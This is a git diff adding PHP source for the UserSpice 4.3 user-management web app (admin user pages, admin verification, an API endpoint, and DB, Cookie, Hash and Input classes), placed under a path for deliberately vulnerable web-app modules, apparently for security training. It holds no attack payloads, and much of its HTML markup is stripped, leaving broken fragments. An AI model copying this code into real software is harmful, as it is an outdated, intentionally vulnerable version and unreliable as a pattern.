'First Name', + 'required' => true, + 'min' => 1, + 'max' => 25 + ) + )); + if($validation->passed()){ + $db->update('users',$userId,$fields); + $successes[] = "First Name Updated"; + logger($user->data()->id,"User Manager","Updated first name for $userdetails->fname from $userdetails->fname to $fname."); + }else{ + ?>errors()=='') {?>
    errors());?>
    + lname != $_POST['lname']){ + $lname = ucfirst(Input::get("lname")); + + $fields=array('lname'=>$lname); + $validation->check($_POST,array( + 'lname' => array( + 'display' => 'Last Name', + 'required' => true, + 'min' => 1, + 'max' => 25 + ) + )); + if($validation->passed()){ + $db->update('users',$userId,$fields); + $successes[] = "Last Name Updated"; + logger($user->data()->id,"User Manager","Updated last name for $userdetails->fname from $userdetails->lname to $lname."); + }else{ + ?> + errors()=='') {?>
    errors());?>
    + check($_POST,array( + 'password' => array( + 'display' => 'New Password', + 'required' => true, + 'min' => $settings->min_pw, + 'max' => $settings->max_pw, + ), + 'confirm' => array( + 'display' => 'Confirm New Password', + 'required' => true, + 'matches' => 'password', + ), + )); + + if (empty($errors)) { + //process + $new_password_hash = password_hash(Input::get('password', true), PASSWORD_BCRYPT, array('cost' => 12)); + $user->update(array('password' => $new_password_hash,),$userId); + $successes[]='Password updated.'; + logger($user->data()->id,"User Manager","Updated password for $userdetails->fname."); + } + } + + if(isset($_POST['sendPwReset'])) { + $params = array( + 'username' => $userdetails->username, + 'sitename' => $settings->site_name, + 'fname' => $userdetails->fname, + 'email' => rawurlencode($userdetails->email), + 'vericode' => $userdetails->vericode, + ); + $to = rawurlencode($userdetails->email); + $subject = 'Password Reset'; + $body = email_body('_email_adminPwReset.php',$params); + email($to,$subject,$body); + $successes[] = "Password reset sent."; + logger($user->data()->id,"User Manager","Sent password reset email to $userdetails->fname."); + } + + //Block User + if ($userdetails->permissions != $_POST['active']){ + $active = Input::get("active"); + $fields=array('permissions'=>$active); + $db->update('users',$userId,$fields); + $successes[] = "Set user access to $active."; + logger($user->data()->id,"User Manager","Updated active for $userdetails->fname from $userdetails->active to $active."); + } + + //Force PW User + if ($userdetails->force_pr != $_POST['force_pr']){ + $force_pr = Input::get("force_pr"); + $fields=array('force_pr'=>$force_pr); + $db->update('users',$userId,$fields); + $successes[] = "Set force_pr to $force_pr."; + logger($user->data()->id,"User Manager","Updated force_pr for $userdetails->fname from $userdetails->force_pr to $force_pr."); + } + + //Update email + if ($userdetails->email != $_POST['email']){ + $email = Input::get("email"); + $fields=array('email'=>$email); + $validation->check($_POST,array( + 'email' => array( + 'display' => 'Email', + 'required' => true, + 'valid_email' => true, + 'unique_update' => 'users,'.$userId, + 'min' => 3, + 'max' => 75 + ) + )); + if($validation->passed()){ + $db->update('users',$userId,$fields); + $successes[] = "Email Updated"; + logger($user->data()->id,"User Manager","Updated email for $userdetails->fname from $userdetails->email to $email."); + }else{ + ?> + errors()=='') {?>
    errors());?>
    + email_verified == 0){ + if (updateUser('email_verified', $userId, 1)){ + $successes[] = "Verification Updated"; + logger($user->data()->id,"User Manager","Updated email_verified for $userdetails->fname to $email_verified.."); + }else{ + $errors[] = lang("SQL_ERROR"); + } + } + }elseif ($userdetails->email_verified == 1){ + if (updateUser('email_verified', $userId, 0)){ + $successes[] = "Verification Updated"; + logger($user->data()->id,"User Manager","Updated email_verified for $userdetails->fname to $email_verified.."); + }else{ + $errors[] = lang("SQL_ERROR"); + } + } + + //Toggle protected setting + if(in_array($user->data()->id,$master_account)) { + $protected = Input::get("protected"); + if (isset($protected) AND $protected == '1'){ + if ($userdetails->protected == 0){ + if (updateUser('protected', $userId, 1)){ + $successes[] = lang("USER_PROTECTION", array("now")); + logger($user->data()->id,"User Manager","Updated protection for $userdetails->fname from 0 to 1."); + }else{ + $errors[] = lang("SQL_ERROR"); + } + } + }elseif ($userdetails->protected == 1){ + if (updateUser('protected', $userId, 0)){ + $successes[] = lang("USER_PROTECTION", array("no longer")); + logger($user->data()->id,"User Manager","Updated protection for $userdetails->fname from 1 to 0."); + }else{ + $errors[] = lang("SQL_ERROR"); + } + } + } } + + //Toggle msg_exempt setting + $msg_exempt = Input::get("msg_exempt"); + if (isset($msg_exempt) AND $msg_exempt == '1'){ + if ($userdetails->msg_exempt == 0){ + if (updateUser('msg_exempt', $userId, 1)){ + $successes[] = lang("USER_MESSAGE_EXEMPT", array("now")); + logger($user->data()->id,"User Manager","Updated msg_exempt for $userdetails->fname from 0 to 1."); + }else{ + $errors[] = lang("SQL_ERROR"); + } + } + }elseif ($userdetails->msg_exempt == 1){ + if (updateUser('msg_exempt', $userId, 0)){ + $successes[] = lang("USER_MESSAGE_EXEMPT", array("no longer")); + logger($user->data()->id,"User Manager","Updated msg_exempt for $userdetails->fname from 1 to 0."); + }else{ + $errors[] = lang("SQL_ERROR"); + } + } + + //Toggle dev_user setting + $dev_user = Input::get("dev_user"); + if (isset($dev_user) AND $dev_user == '1'){ + if ($userdetails->dev_user == 0){ + if (updateUser('dev_user', $userId, 1)){ + $successes[] = lang("USER_DEV_OPTION", array("now")); + logger($user->data()->id,"User Manager","Updated dev_user for $userdetails->fname from 0 to 1."); + }else{ + $errors[] = lang("SQL_ERROR"); + } + } + }elseif ($userdetails->dev_user == 1){ + if (updateUser('dev_user', $userId, 0)){ + $successes[] = lang("USER_DEV_OPTION", array("no longer")); + logger($user->data()->id,"User Manager","Updated dev_user for $userdetails->fname from 1 to 0."); + }else{ + $errors[] = lang("SQL_ERROR"); + } + } + + //Two FA disabler + $twofa = Input::get('twofa'); + if (isset($twofa) AND $twofa == '1' && $settings->twofa==1 && $userdetails->twoEnabled==1){ + $db->query("UPDATE users SET twoKey=null,twoEnabled=0 WHERE id = ?",[$userId]); + logger($user->data()->id,"Two FA","Disabled Two FA for User ID $userId"); + $successes[] = "Disabled 2FA"; + } + + //Remove permission level + if(!empty($_POST['removePermission'])){ + $remove = $_POST['removePermission']; + if ($deletion_count = removePermission($remove, $userId)){ + $successes[] = lang("ACCOUNT_PERMISSION_REMOVED", array ($deletion_count)); + logger($user->data()->id,"User Manager","Deleted $deletion_count permission(s) from $userdetails->fname $userdetails->lname."); + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + + if(!empty($_POST['addPermission'])){ + $add = $_POST['addPermission']; + if ($addition_count = addPermission($add, $userId,'user')){ + $successes[] = lang("ACCOUNT_PERMISSION_ADDED", array ($addition_count)); + logger($user->data()->id,"User Manager","Added $addition_count permission(s) to $userdetails->fname $userdetails->lname."); + } + else { + $errors[] = lang("SQL_ERROR"); + } + } + } + $userdetails = fetchUserDetails(NULL, NULL, $userId); +} } + + +$userPermission = fetchUserPermissions($userId); +// $currentuserPermission = fetchUserPermissions($user->data()->id); +$permissionData = fetchAllPermissions(); + +$grav = get_gravatar(strtolower(trim($userdetails->email))); +$useravatar = ''; +if((!in_array($user->data()->id, $master_account) && in_array($userId, $master_account) || !in_array($user->data()->id, $master_account) && $userdetails->protected==1) && $userId != $user->data()->id) $protectedprof = 1; +else $protectedprof = 0; +?> +
    + +
    + + +errors()=='') {?>
    errors());?>
    + + +
    +
    + +
    + +
    +
    + +

    fname?> lname?> - username?>

    +
    +
    User ID: id?> - email_verified==1) {?> Email Verified email_verified==0) {?> Email Unverified - Error: No Validation

    PROTECTED PROFILE - EDIT DISABLED

    data()->id, $master_account)) {?>

    +
    + + join_date?>
    + + last_login != 0) { echo $userdetails->last_login; } else {?> Never
    + + + + + + + + + + + + + +
    +
    + + +
    +
    Functions

    PROTECTED PROFILE - EDIT DISABLED

    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + + + + + + + + + +
    +
    +

    +
    + +
    + +
    +
    + +
    +
    + + + + + + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_users.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_users.php new file mode 100644 index 000000000..31ec022fe --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_users.php @@ -0,0 +1,412 @@ +. +*/ + +require_once 'init.php'; +require_once $abs_us_root.$us_url_root.'users/includes/header.php'; +require_once $abs_us_root.$us_url_root.'users/includes/navigation.php'; +if (!securePage($_SERVER['PHP_SELF'])){die();} + +//PHP Goes Here! +$errors = $successes = []; +$query = $db->query("SELECT * FROM email"); +$results = $query->first(); +$act = $results->email_act; +$form_valid=TRUE; +$permOpsQ = $db->query("SELECT * FROM permissions"); +$permOps = $permOpsQ->results(); +// dnd($permOps); +$validation = new Validate(); +if (!empty($_POST)) { + if(!empty($_POST['cloak'])){ + if(!in_array($user->data()->id,$master_account)){ + die("You do not have permission to do this! Shame on you!"); + }else{ + $to_user = Input::get('to_user'); + if($to_user == 1){ + logger($user->data()->id,"Cloaking","WARNING! Attempted to become user 1!!!"); + Redirect::to('admin_users.php?err=You+cannot+become+user+1'); + }elseif(!is_numeric($to_user)){ + Redirect::to('admin_users.php?err=The+user+id+must+be+numeric!'); + }elseif($to_user == $user->data()->id){ + Redirect::to('admin_users.php?err=Cloaking+into+yourself+would+open+up+a+black+hole!'); + }else{ + $check = $db->query("SELECT id FROM users WHERE id = ?",array($to_user)); + $count = $check->count(); + if($count < 1){ + Redirect::to('admin_users.php?err=User+not+found'); + }else{ + $_SESSION['cloak_from']=$user->data()->id; + $_SESSION['cloak_to']=$to_user; + logger($user->data()->id,"Cloaking","cloaked into ".$to_user); + Redirect::to('account.php?err=You+are+now+cloaked!'); + } + } + } + } + + + + + + //Manually Add User + if(!empty($_POST['addUser'])) { + $join_date = date("Y-m-d H:i:s"); + $fname = Input::get('fname'); + $lname = Input::get('lname'); + $email = Input::get('email'); + if($settings->auto_assign_un==1) { + $preusername = $fname[0]; + $preusername .= $lname; + $preQ = $db->query("SELECT username FROM users WHERE username = ?",array($preusername)); + $preQCount = $preQ->count(); + if($preQCount == 0) + { + $username = strtolower($preusername); + } + else + { + $preusername2 = $fname; + $preusername2 .= $lname[0]; + $preQ2 = $db->query("SELECT username FROM users WHERE username = ?",array($preusername2)); + $preQCount2 = $preQ2->count(); + if($preQCount2 == 0) + { + $username = strtolower($preusername2); + } + else + { + $username = $email; + } + } } + if($settings->auto_assign_un==0) $username = Input::get('username'); + $token = $_POST['csrf']; + + if(!Token::check($token)){ + include('../usersc/scripts/token_error.php'); + } + + $form_valid=FALSE; // assume the worst + if($settings->auto_assign_un==0) { + $validation->check($_POST,array( + 'username' => array( + 'display' => 'Username', + 'required' => true, + 'min' => $settings->min_un, + 'max' => $settings->max_un, + 'unique' => 'users', + ), + 'fname' => array( + 'display' => 'First Name', + 'required' => true, + 'min' => 1, + 'max' => 60, + ), + 'lname' => array( + 'display' => 'Last Name', + 'required' => true, + 'min' => 1, + 'max' => 60, + ), + 'email' => array( + 'display' => 'Email', + 'required' => true, + 'valid_email' => true, + 'unique' => 'users', + ), + + 'password' => array( + 'display' => 'Password', + 'required' => true, + 'min' => $settings->min_pw, + 'max' => $settings->max_pw, + ), + 'confirm' => array( + 'display' => 'Confirm Password', + 'required' => true, + 'matches' => 'password', + ), + )); } + if($settings->auto_assign_un==1) { + $validation->check($_POST,array( + 'fname' => array( + 'display' => 'First Name', + 'required' => true, + 'min' => 1, + 'max' => 60, + ), + 'lname' => array( + 'display' => 'Last Name', + 'required' => true, + 'min' => 1, + 'max' => 60, + ), + 'email' => array( + 'display' => 'Email', + 'required' => true, + 'valid_email' => true, + 'unique' => 'users', + ), + + 'password' => array( + 'display' => 'Password', + 'required' => true, + 'min' => $settings->min_pw, + 'max' => $settings->max_pw, + ), + 'confirm' => array( + 'display' => 'Confirm Password', + 'required' => true, + 'matches' => 'password', + ), + )); + } + if($validation->passed()) { + $form_valid=TRUE; + try { + // echo "Trying to create user"; + $fields=array( + 'username' => $username, + 'fname' => ucfirst(Input::get('fname')), + 'lname' => ucfirst(Input::get('lname')), + 'email' => Input::get('email'), + 'password' => + password_hash(Input::get('password'), PASSWORD_BCRYPT, array('cost' => 12)), + 'permissions' => 1, + 'account_owner' => 1, + 'join_date' => $join_date, + 'email_verified' => 1, + 'active' => 1, + 'vericode' => randomstring(15), + 'force_pr' => $settings->force_pr, + ); + $db->insert('users',$fields); + $theNewId=$db->lastId(); + // bold($theNewId); + $perm = Input::get('perm'); + $addNewPermission = array('user_id' => $theNewId, 'permission_id' => 1); + $db->insert('user_permission_matches',$addNewPermission); + $db->insert('profiles',['user_id'=>$theNewId, 'bio'=>'']); + include('../usersc/scripts/during_user_creation.php'); + if(isset($_POST['sendEmail'])) { + $userDetails = fetchUserDetails(NULL, NULL, $theNewId); + $params = array( + 'username' => $username, + 'password' => Input::get('password'), + 'sitename' => $settings->site_name, + 'force_pr' => $settings->force_pr, + 'fname' => Input::get('fname'), + 'email' => rawurlencode($userDetails->email), + 'vericode' => $userDetails->vericode, + ); + $to = rawurlencode($email); + $subject = 'Welcome to '.$settings->site_name; + $body = email_body('_email_adminUser.php',$params); + email($to,$subject,$body); + } + logger($user->data()->id,"User Manager","Added user $username."); + Redirect::to('admin_user.php?id='.$theNewId); + } catch (Exception $e) { + die($e->getMessage()); + } + + } + } + } + $userData = fetchAllUsers("permissions DESC,id"); //Fetch information for all users + $random_password = random_password(); + ?> + +
    +
    + +
    +
    +

    Manage Users

    +
    +
    + +
    +
    + + errors()=='') {?>
    errors());?>
    +
    +
    + data()->id,$master_account)){ ?> +
    +
    + + +
    + + Manually Add User +
    +
    +
     
    +
    + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    +
    + + +
    +
    +
    +
    + + + + + + + + + + + + + auto_assign_un==0) { ?> + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_verify.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_verify.php new file mode 100644 index 000000000..938fcc485 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/admin_verify.php @@ -0,0 +1,118 @@ +. +*/ +?> + + + + + + "There is no referrer, you cannot verify yourself. Please return to the Dashboard.", + "INCORRECT_ADMINPW" => "Incorrect password. Administrator Verification Failed!" + )); +$errors = $successes = []; +$form_valid=TRUE; +$current=date("Y-m-d H:i:s"); +if(empty($_POST)) { + $actual_link = Input::get('actual_link'); + $page = Input::get('page'); + if (empty($actual_link) || empty($page)) { + $actual_link = ''; + $page = ''; + $errors[] = lang("ADMIN_VERIFY_NOREF"); + } +} +$findUserQ = $db->query("SELECT last_confirm FROM users WHERE id = ?",array($user->data()->id)); + $findUser = $findUserQ->first(); + $current=date("Y-m-d H:i:s"); + $ctFormatted = date("Y-m-d H:i:s", strtotime($current)); + $dbTime = strtotime($findUser->last_confirm); + $dbPlus = date("Y-m-d H:i:s", strtotime('+2 hours', $dbTime)); + if (strtotime($ctFormatted) < strtotime($dbPlus)){ + Redirect::to(htmlspecialchars_decode($actual_link)); + } +if (!empty($_POST)) { + $token = $_POST['csrf']; + if(!Token::check($token)){ + include('../usersc/scripts/token_error.php'); + } + + if(!empty($_POST['verifyAdmin'])) { + $password=Input::get('password'); + $actual_link = Input::get('verify_uri'); + $page = Input::get('verify_page'); + if (password_verify($password,$user->data()->password)) { + $fields = array( + 'last_confirm' => $current, + ); + $db->update('users',$user->data()->id,$fields); + logger($user->data()->id,"Admin Verification","Access granted to $page via password verification."); + if(!empty($actual_link)){ + Redirect::to(htmlspecialchars_decode($actual_link)); + } + } else { + $errors[] = lang("INCORRECT_ADMINPW"); + logger($user->data()->id,"Admin Verification","Access denied to $page via password verification due to invalid password."); + } + } +} + +?> +
    + +
    + + +
    + + +
    +

    Password Verification

    +
    + +
    +
    +
    +
    +
    + + +
    + + + + +
    +
    +
    +
    +
    + + + + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/api/index.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/api/index.php new file mode 100644 index 000000000..51f23947a --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/api/index.php @@ -0,0 +1,56 @@ +isLoggedIn()){ + $currentUser = $user->data(); + $loggedIn = true; +}else{ + $loggedIn = false; +} + +switch($action){ + case "pingEndpoint": + $responseAr['testResponse'] = 'testData'; + break; + case "verify2FA": + $requestAr = requestCheck(['twoCode']); + $twoQ = $db->query("select twoKey, twoEnabled from users where id = ?", [$currentUser->id]); + if($twoQ->count() > 0){ + $twoO = $twoQ->results()[0]; + $twoVal = $google2fa->verifyKey($twoO->twoKey, $requestAr['twoCode']); + if($twoVal){ + $responseAr['2FAValidated'] = true; + if($twoO->twoEnabled == 0){ + $db->query("update users set twoEnabled = 1 where id = ?", [$currentUser->id]); + logger($currentUser->id,"Two FA","Enabled Two FA"); + } + }else{ + returnError('Incorrect 2FA code.'); + } + }else{ + returnError('Invalid user or not logged in.'); + } + break; + default: + returnError('Invalid API action specified.'); + break; +} + +echo json_encode($responseAr); diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/check_updates.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/check_updates.php new file mode 100644 index 000000000..44161bbf2 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/check_updates.php @@ -0,0 +1,58 @@ +. +*/ +?> + + +
    +
    +
    +
    +

    Checking for updates...

    +

    + +
    "; +echo "The latest version is ".$remoteVersion."

    "; +if(version_compare($remoteVersion, $user_spice_ver) == 1){ + echo "Updates are available at UserSpice.com/updates
    "; +} else { + echo "You are running the latest version!"; +} +?> +

    +
    +
    +
    +
    + + + + + + + + diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/.htaccess b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/.htaccess new file mode 100644 index 000000000..896fbc5a3 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/.htaccess @@ -0,0 +1,2 @@ +Order deny,allow +Deny from all \ No newline at end of file diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Config.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Config.php new file mode 100644 index 000000000..940af246a --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Config.php @@ -0,0 +1,41 @@ +. +*/ + +//if you are ever questioning if your classes are being included, uncomment the line above and the words "config included" should show at the top of your page. +class Config { + public static function get($path = null){ + if($path){ + $config = $GLOBALS['config']; + $path = explode('/', $path); + + foreach ($path as $bit) { + if(isset($config[$bit])){ + $config = $config[$bit]; + } else { + return false; + } + } + + return $config; + } + + return false; + } +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Cookie.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Cookie.php new file mode 100644 index 000000000..49f8f86e0 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Cookie.php @@ -0,0 +1,39 @@ +. +*/ +class Cookie { + public static function exists($name){ + return (isset($_COOKIE[$name])) ? true : false; + } + + public static function get($name){ + return $_COOKIE[$name]; + } + + public static function put($name, $value, $expiry, $path="/", $domain="", $secure=true, $httponly=true){ + if (setcookie($name, $value, time() + $expiry, $path, $domain, $secure, $httponly)) { + return true; + } + return false; + } + + public static function delete($name){ + self::put($name, '', time() - 1); + } +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/DB.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/DB.php new file mode 100644 index 000000000..ae020916c --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/DB.php @@ -0,0 +1,320 @@ +. +*/ +class DB { + private static $_instance = null; + private $_pdo, $_query, $_error = false, $_errorInfo, $_results, $_resultsArray, $_count = 0, $_lastId, $_queryCount=0; + + private function __construct(){ + if (!$opts = Config::get('mysql/options')) + $opts = array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET SESSION sql_mode = ''"); + try{ + + $this->_pdo = new PDO('mysql:host=' . + Config::get('mysql/host') .';dbname='. + Config::get('mysql/db') . ';charset=utf8', + Config::get('mysql/username'), + Config::get('mysql/password'), + $opts); + + } catch(PDOException $e){ + die($e->getMessage()); + } + } + + public static function getInstance(){ + if (!isset(self::$_instance)) { + self::$_instance = new DB(); + } + return self::$_instance; + } + + public function query($sql, $params = array()){ + #echo "DEBUG: query(sql=$sql, params=".print_r($params,true).")
    \n"; + $this->_queryCount++; + $this->_error = false; + $this->_errorInfo = array(0, null, null); $this->_resultsArray=[]; $this->_count=0; $this->_lastId=0; + if ($this->_query = $this->_pdo->prepare($sql)) { + $x = 1; + if (count($params)) { + foreach ($params as $param) { + $this->_query->bindValue($x, $param); + $x++; + } + } + + if ($this->_query->execute()) { + if ($this->_query->columnCount() > 0) { + $this->_results = $this->_query->fetchALL(PDO::FETCH_OBJ); + $this->_resultsArray = json_decode(json_encode($this->_results),true); + } + $this->_count = $this->_query->rowCount(); + $this->_lastId = $this->_pdo->lastInsertId(); + } else{ + $this->_error = true; + $this->_errorInfo = $this->_query->errorInfo(); + } + } + return $this; + } + + public function findAll($table){ + return $this->action('SELECT *',$table); + } + + public function findById($id,$table){ + return $this->action('SELECT *',$table,array('id','=',$id)); + } + + public function action($action, $table, $where = array()){ + $sql = "{$action} FROM {$table}"; + $values = array(); + $is_ok = true; + + if ($where_text = $this->_calcWhere($where, $values, "and", $is_ok)) + $sql .= " WHERE $where_text"; + + if ($is_ok) + if (!$this->query($sql, $values)->error()) + return $this; + + return false; + } + + private function _calcWhere($w, &$vals, $comboparg='and', &$is_ok=NULL) { + #echo "DEBUG: Entering _calcwhere(w=".print_r($w,true).",...)
    \n"; + if (is_array($w)) { + #echo "DEBUG: is_array - check
    \n"; + $comb_ops = ['and', 'or', 'and not', 'or not']; + $valid_ops = ['=', '<', '>', '<=', '>=', '<>', '!=', 'LIKE', 'NOT LIKE', 'ALIKE', 'NOT ALIKE', 'REGEXP', 'NOT REGEXP']; + $two_args = ['IS NULL', 'IS NOT NULL']; + $four_args = ['BETWEEN', 'NOT BETWEEN']; + $arr_arg = ['IN', 'NOT IN']; + $nested_arg = ['ANY', 'ALL', 'SOME']; + $nested = ['EXISTS', 'NOT EXISTS']; + $nestedIN = ['IN SELECT', 'NOT IN SELECT']; + $wcount = count($w); + + if ($wcount == 0) + return ""; + + # believe it or not, this appears to be the fastest way to check + # sequential vs associative. Particularly with our expected short + # arrays it shouldn't impact memory usage + # https://gist.github.com/Thinkscape/1965669 + if (array_values($w) === $w) { // sequential array + #echo "DEBUG: Sequential array - check!
    \n"; + if (in_array(strtolower($w[0]), $comb_ops)) { + #echo "DEBUG: w=".print_r($w,true)."
    \n"; + $sql = ''; + $combop = ''; + for ($i = 1; $i < $wcount; $i++) { + $sql .= ' '. $combop . ' ' . $this->_calcWhere($w[$i], $vals, "and", $is_ok); + $combop = $w[0]; + } + return '('.$sql.')'; + + } elseif ($wcount==3 && in_array($w[1],$valid_ops)) { + #echo "DEBUG: normal condition w=".print_r($w,true)."
    \n"; + $vals[] = $w[2]; + return "{$w[0]} {$w[1]} ?"; + + } elseif ($wcount==2 && in_array($w[1],$two_args)) { + return "{$w[0]} {$w[1]}"; + + } elseif ($wcount==4 && in_array($w[1],$four_args)) { + $vals[] = $w[2]; + $vals[] = $w[3]; + return "{$w[0]} {$w[1]} ? AND ?"; + + } elseif ($wcount==3 && in_array($w[1],$arr_arg) && is_array($w[2])) { + $vals = array_merge($vals,$w[2]); + return "{$w[0]} {$w[1]} (" . substr( str_repeat(",?",count($w[2])), 1) . ")"; + + } elseif (($wcount==5 || $wcount==6 && is_array($w[5])) && in_array($w[1],$valid_ops) && in_array($w[2],$nested_arg)) { + return "{$w[0]} {$w[1]} {$w[2]}" . $this->get_subquery_sql($w[4],$w[3],$w[5],$vals,$is_ok); + + } elseif (($wcount==3 || $wcount==4 && is_array($w[3])) && in_array($w[0],$nested)) { + return $w[0] . $this->get_subquery_sql($w[2],$w[1],$w[3],$vals,$is_ok); + + } elseif (($wcount==4 || $wcount==5 && is_array($w[4])) && in_array($w[1],$nestedIN)) { + return "{$w[0]} " . substr($w[1],0,-7) . $this->get_subquery_sql($w[3],$w[2],$w[4],$vals,$is_ok); + + } else { + echo "ERROR: w=".print_r($w,true)."
    \n"; + $is_ok = false; + } + } else { // associative array ['field' => 'value'] + #echo "DEBUG: Associative
    \n"; + $sql = ''; + $combop = ''; + foreach ($w as $k=>$v) { + if (in_array(strtolower($k), $comb_ops)) { + #echo "DEBUG: A
    \n"; + #echo "A: k=$k, v=".print_r($v,true)."
    \n"; + $sql .= $combop . ' (' . $this->_calcWhere($v, $vals, $k, $is_ok) . ') '; + $combop = $comboparg; + } else { + #echo "DEBUG: B
    \n"; + #echo "B: k=$k, v=".print_r($v,true)."
    \n"; + $vals[] = $v; + if (in_array(substr($k,-1,1), array('=', '<', '>'))) // 'field !='=>'value' + $sql .= $combop . ' ' . $k . ' ? '; + else // 'field'=>'value' + $sql .= $combop . ' ' . $k . ' = ? '; + $combop = $comboparg; + } + } + return ' ('.$sql.') '; + } + } else { + echo "ERROR: No array in $w
    \n"; + $is_ok = false; + } + } + + public function get($table, $where){ + return $this->action('SELECT *', $table, $where); + } + + public function delete($table, $where){ + return empty($where) ? false : $this->action('DELETE', $table, $where); + } + + public function deleteById($table,$id){ + return $this->action('DELETE',$table,array('id','=',$id)); + } + + public function insert($table, $fields=[], $update=false) { + $keys = array_keys($fields); + $values = []; + $records = 0; + + foreach ($fields as $field) { + $count = is_array($field) ? count($field) : 1; + + if (!isset($first_time) || $count<$records) { + $first_time = true; + $records = $count; + } + } + + for ($i=0; $i<$records; $i++) + foreach ($fields as $field) + $values[] = is_array($field) ? $field[$i] : $field; + + $col = ",(" . substr( str_repeat(",?",count($fields)), 1) . ")"; + $sql = "INSERT INTO {$table} (`". implode('`,`', $keys)."`) VALUES ". substr( str_repeat($col,$records), 1); + + if ($update) { + $sql .= " ON DUPLICATE KEY UPDATE"; + + foreach ($keys as $key) + if ($key != "id") + $sql .= " `$key` = VALUES(`$key`),"; + + if (!empty($keys)) + $sql = substr($sql, 0, -1); + } + + return !$this->query($sql, $values)->error(); + } + + public function update($table, $id, $fields){ + $sql = "UPDATE {$table} SET " . (empty($fields) ? "" : "`") . implode("` = ? , `", array_keys($fields)) . (empty($fields) ? "" : "` = ? "); + $is_ok = true; + + if (!is_array($id)) { + $sql .= "WHERE id = ?"; + $fields[] = $id; + } else { + if (empty($id)) + return false; + + if ($where_text = $this->_calcWhere($id, $fields, "and", $is_ok)) + $sql .= "WHERE $where_text"; + } + + if ($is_ok) + if (!$this->query($sql, $fields)->error()) + return true; + + return false; + } + + public function results($assoc = false){ + if($assoc) return $this->_resultsArray; + return $this->_results; + } + + public function first($assoc = false){ + return (!$assoc || $assoc && $this->count()>0) ? $this->results($assoc)[0] : []; + } + + public function count(){ + return $this->_count; + } + + public function error(){ + return $this->_error; + } + + public function errorInfo() { + return $this->_errorInfo; + } + + public function errorString() { + return 'ERROR #'.$this->_errorInfo[0].': '.$this->_errorInfo[2]; + } + + public function lastId(){ + return $this->_lastId; + } + + public function getQueryCount(){ + return $this->_queryCount; + } + + private function get_subquery_sql($action, $table, $where, &$values, &$is_ok) { + if (is_array($where)) + if ($where_text = $this->_calcWhere($where, $values, "and", $is_ok)) + $where_text = " WHERE $where_text"; + + return " (SELECT $action FROM $table$where_text)"; + } + + public function cell($tablecolumn, $id=[]) { + $input = explode(".", $tablecolumn, 2); + + if (count($input) != 2) + return null; + + $result = $this->action("SELECT {$input[1]}", $input[0], (is_numeric($id) ? ["id","=",$id] : $id)); + + return ($result && $this->_count>0) ? $this->_resultsArray[0][$input[1]] : null; + } + + public function getColCount(){ + return $this->_query->columnCount(); + } + + public function getColMeta($counter){ + return $this->_query->getColumnMeta($counter); + } +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Hash.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Hash.php new file mode 100644 index 000000000..605755621 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Hash.php @@ -0,0 +1,33 @@ +. +*/ +class Hash{ + + public static function make($string, $salt = ''){ + return hash('sha256', $string . $salt); + } + + public static function salt($length){ + return mcrypt_create_iv($length); + } + + public static function unique(){ + return self::make(uniqid()); + } +} diff --git a/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Input.php b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Input.php new file mode 100644 index 000000000..6b032a8e7 --- /dev/null +++ b/modules/vulnerabilities/unix/webapp/userspice_43/files/userspice/users/classes/Input.php @@ -0,0 +1,71 @@ +. +*/ +class Input { + public static function exists($type = 'post'){ + switch ($type) { + case 'post': + return (!empty($_POST)) ? true : false; + break; + + case 'get': + return (!empty($_GET)) ? true : false; + + default: + return false; + break; + } + } + + public static function get($item){ + if (isset($_POST[$item])) { + /* + If the $_POST item is an array, process each item independently, and return array of sanitized items. + */ + if (is_array($_POST[$item])){ + $postItems=array(); + foreach ($_POST[$item] as $postItem){ + $postItems[]=self::sanitize($postItem); + } + return $postItems; + }else{ + return self::sanitize($_POST[$item]); + } + + } elseif(isset($_GET[$item])){ + /* + If the $_GET item is an array, process each item independently, and return array of sanitized items. + */ + if (is_array($_GET[$item])){ + $getItems=array(); + foreach ($_GET[$item] as $getItem){ + $getItems[]=self::sanitize($getItem); + } + return $getItems; + }else{ + return self::sanitize($_GET[$item]); + } + } + return ''; + } + + public static function sanitize($string){ + return trim(htmlentities($string, ENT_QUOTES, 'UTF-8')); + } +} diff --git 